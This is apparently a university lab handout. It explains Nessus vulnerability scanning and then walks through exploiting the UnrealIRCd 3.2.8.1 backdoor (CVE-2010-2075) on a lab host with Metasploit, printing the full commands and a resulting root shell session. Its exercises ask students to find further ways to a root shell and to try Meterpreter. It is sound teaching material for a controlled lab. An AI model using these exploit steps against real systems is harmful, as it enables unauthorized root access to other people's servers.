Nessus
Introduction
Nessus is a vulnerability scanning tool. It can be used to detect thousands of well-known potential vulnerabilities on a remote host. Nessus is commonly used by network administrators who want to keep their domains secured against these common vulnerabilities that malicious hackers and viruses often look to exploit.
Similarly to nmap, Nessus performs a port scan on the target machine. However, whereas nmap only tells you what's listening, Nessus can tell you what's vulnerable. One way it can accomplish this is by performing various checks to determine which services are running on the remote host (e.g., Apache), what their version numbers are (e.g., 2.2.2), and then checking against a database of known vulnerabilities that are present in those versions of the services (e.g., mod_rewrite off-by-one error, CVE-2006-3747).
However, the rules used to detect vulnerabilities are highly flexible. These rules are contained within Nessus plugins, which are written in a language called NASL (Nessus Attack Scripting Language). Typically, each vulnerability that Nessus is capable of detecting is expressed as a plugin. Currently, there are about 40,000 plugins that are shipped with Nessus, and dozens more are added every week as new vulnerabilities are discovered.
In general, Nessus does not actually perform any exploits - it only detects vulnerabilities. Neither does Nessus prevent attacks or make any attempts to correct the vulnerabilities - it is still up to the network administrator to patch these vulnerabilities based on the guidance that Nessus provides.
Nessus can be used in conjunction with Metasploit, which is what we will be doing in this lab. We will first scan a machine to discover its vulnerabilities, and then use Metasploit to attempt to exploit these vulnerabilities. The machine that we will be scanning is at 10.13.143.128. We will assume that our objective is to obtain a shell on this server.
On UNIX, Nessus operates according to a client-server architecture. The Nessus client connects to the server, provides it with information, and the server actually runs the scan.
Scan Preparation
Nessus begins by running a port-scan (using nmap) on the target host to determine which ports are open. Once open ports are identified, Nessus runs a set of exploits on the open ports. Nessus assumes standard processes run on standard ports (i.e. http on port 80). The last step it performs is checking for and reporting vulnerabilities.
Download Nessus from https://www.tenable.com/downloads/nessus?loginAttempted=true. The client is a Flash application that you can access via the browser. You may need to confirm a security exception since Nessus uses a self-signed certificate. After you confirm the security exception, you will be presented with a login screen.
In order to perform a scan, you need to have a scan policy. In Nessus, a "policy" refers to a set of options relevant to performing vulnerability scans, including but not limited to types of port scanners used, timeouts, various plugin options, reporting options, and credentials for SMB shares or databases on the hosts being scanned.
You will not need to create a scan policy for this lab as we have already performed a scan and prepared a report for you to browse; however, it is still important that you understand what the various options are. The scan policy dictates which vulnerabilities Nessus is able to detect, and it is easy to miss high severity vulnerabilities if you do not configure the scan policy correctly.
There is a wide variety of options available when creating a scan policy. A lot of options deal with credentials that you can supply to Nessus in order to get more complete and accurate scan results. This is useful, for example, when you want to scan for potential vulnerabilities on a system that an authenticated user can exploit. If you want to get a better understanding of what Nessus is capable of, we encourage you to read through the Nessus User Guide.
Running the Scan
You will not need to actually run the scan for this lab. Running the scan takes a while and generates a large amount of network traffic, so we have prepared a finished scan report that you can browse. However, we do ask you to run a quick scan of your own computer just to get a taste of it. To run a scan, click on the "My Scans" tab on the left side and then click on New Scan. Choose Advanced Scan and give this scan a name. In the "Targets" box, enter "localhost" to scan your local machine. In "Web Applications" under "Assessment" tab, turn on the "Scan web applications" and check the "Enable generic web application tests" box. After that, click on Save and the scan you just created will appear on the page.
Clicking on Launch (a grey play button on the right side) starts the scan immediately. After a scan is completed, you can look at the results in Vulnerabilities tab.
Interpreting the Scan Results
To access the report that we have prepared for you, download it from here and save it locally on your machine. Then, in Nessus, go to the "My Scans" tab, click on "Import", and choose the file that you just saved.
On the "Vulnerabilities" tab, you should see a list of vulnerabilities categorized into five classes according to severity. Spend some time browsing through the report to see what sort of information Nessus was able to determine.
Now that we have identified some potential vulnerabilities on the machine, let's see if we can proceed to exploit them. With over a dozen "high" and "critical" severity results to choose from, how shall we go about this?
First, it is worth noting that not all of these results are particularly useful to us, regardless of severity, depending on what our objective is.
Again, note the advantage of Nessus over a simple port scanner like nmap: whereas a port scanner could only tell you which ports were open, Nessus runs a battery of tests to determine what software packages are running on the server, and in many cases, even their version numbers and configuration options.
But, notice there is a critical level vulnerability. These are usually always related to remote code execution and are easy to obtain a shell with:
Unreal IRC Daemon Backdoor Detection
This looks promising. Let's try to exploit this vulnerability in Metasploit.
Performing the Exploit
To begin, note the CVE number in the Nessus scan result: CVE-2010-2075. CVE (Common Vulnerabilities and Exposures) is a large database of publicly-known security vulnerabilities, each uniquely distinguished by a "CVE Identifier" such as CVE-2010-2075. There are varying amounts of information that could be obtained about each vulnerability if you search for it on the CVE website. As it happens, the CVE entry for the vulnerability that we found does not provide any additional information beyond what Nessus had told us; however, knowing this number will nevertheless prove helpful momentarily.
Next, log into the hamsa server and connect to Metasploit using the command `msfpro` (not `msfconsole`). Run a search for the CVE number:
msf > search CVE:2010-2075
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 00:00:00 UTC excellent UnrealIRCD 3.2.8.1 Backdoor Command Execution
If CVE search doesn't work, you could alternatively search for "ircd". Or you can just google " CVE:xxx metasploit"; there is a lot useful information online. In this case, it still returns the same exploit, but sometimes there may be more exploits for a given program than the one found by nessus. However, there is no guarantee that all of them would work with the particular version of the software that is running on the server. If you also consider the various configuration settings that may be present or absent that are required for these exploits to work, it becomes clear why it is better in most cases to search for the specific CVE number that Nessus reported instead of just the name of the service.
You can use the info command to obtain some more information about the exploit:
msf > info exploit/unix/irc/unreal_ircd_3281_backdoor
Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
Module: exploit/unix/irc/unreal_ircd_3281_backdoor
Platform: Unix
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
hdm
Available targets:
Id Name
-- ----
0 Automatic Target
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 6667 yes The target port
Payload information:
Space: 1024
Description:
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in
the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th
2010.
References:
http://cvedetails.com/cve/2010-2075/
http://www.osvdb.org/65445
http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
Let's attempt this exploit on the vulnerable VM. Start by telling Metasploit to use this exploit:
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
Let's see what payloads are available with this exploit:
msf exploit(unreal_ircd_3281_backdoor) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via Perl)
cmd/unix/bind_perl_ipv6 normal Unix Command Shell, Bind TCP (via perl) IPv6
cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/bind_ruby_ipv6 normal Unix Command Shell, Bind TCP (via Ruby) IPv6
cmd/unix/generic normal Unix Command, Generic Command Execution
cmd/unix/reverse normal Unix Command Shell, Double reverse TCP (telnet)
cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via Perl)
cmd/unix/reverse_perl_ssl normal Unix Command Shell, Reverse TCP SSL (via perl)
cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby)
cmd/unix/reverse_ruby_ssl normal Unix Command Shell, Reverse TCP SSL (via Ruby)
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
There are a number of ways we could obtain a shell. For simplicity, let's pick cmd/unix/bind_ruby
msf exploit(unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/bind_ruby
payload => cmd/unix/bind_ruby
Now, what other options are there? To see what else is required for this exploit, use the command show options:
msf > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 6667 yes The target port
Payload options (cmd/unix/bind_ruby):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
We see that we need to set RHOST We can leave RPORT at its current setting of 6667.
msf exploit(unreal_ircd_3281_backdoor)> set RHOST 10.13.143.128
RHOST =>10.13.143.128
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started bind handler
[*] Connected to 10.13.143.128:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Command shell session 2 opened (10.13.143.1:52768 -> 10.13.143.128:4444) at 2014-05-27 18:55:35 -0500
whoami
root
ls
Donation
LICENSE
aliases
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log
ircd.pid
ircd.tune
modules
networks
spamfilter.conf
tmp
unreal
unrealircd.conf
exit
Class Exercise
Browse through the Nessus scan results and see if you can find another way to obtain root access on the server. There are a few vulnerabilities, so you may be able to get a shell in more than one way. Generally, when you obtain a remote shell on a server, you will be logged in with an unprivileged account. In this lab, the critical vulnerabilitie allowed you to get access as root (you can find this out by running the command whoami). You will find there isn't much you can do with this account (try deleting or modifying /var/www/index.html, for example). For this exercise, try to get a root shell. If you can get www-data access, that's half credit.
Note: If you are unable to find a working Metasploit exploit for the CVEs listed on Nessus, look for another way in. There are ways to solve this lab without a Metasploit-based exploit. Make sure to read the full descriptions of the Nessus results.
Optional Exercises
Meterpreter Shell: Many exploits have the Meterpreter shell available as one of the options for the payload. Meterpreter is a fairly sophisticated post-exploitation framework that facilitates many tasks that are performed after successfully exploiting a remote host, including interacting with processes, uploading files, and interacting with the file system and the network. Meterpreter also has other important advantages for an attacker, including stealth (unlike a regular shell, Meterpreter does not spawn a new process; it also has the capability to encrypt its communication), extensibility, and familiarity (Meterpreter supports the same command set regardless of the operating system on the target machine). As an exercise, try switching the payload to a Meterpreter shell and play around with it. Use the help command to see which commands are available. For a more detailed overview of Meterpreter and its capabilities, take a look at the white paper PDF.
If you are interested, you can use nessus to scan your own machine to see if you are under any risks :)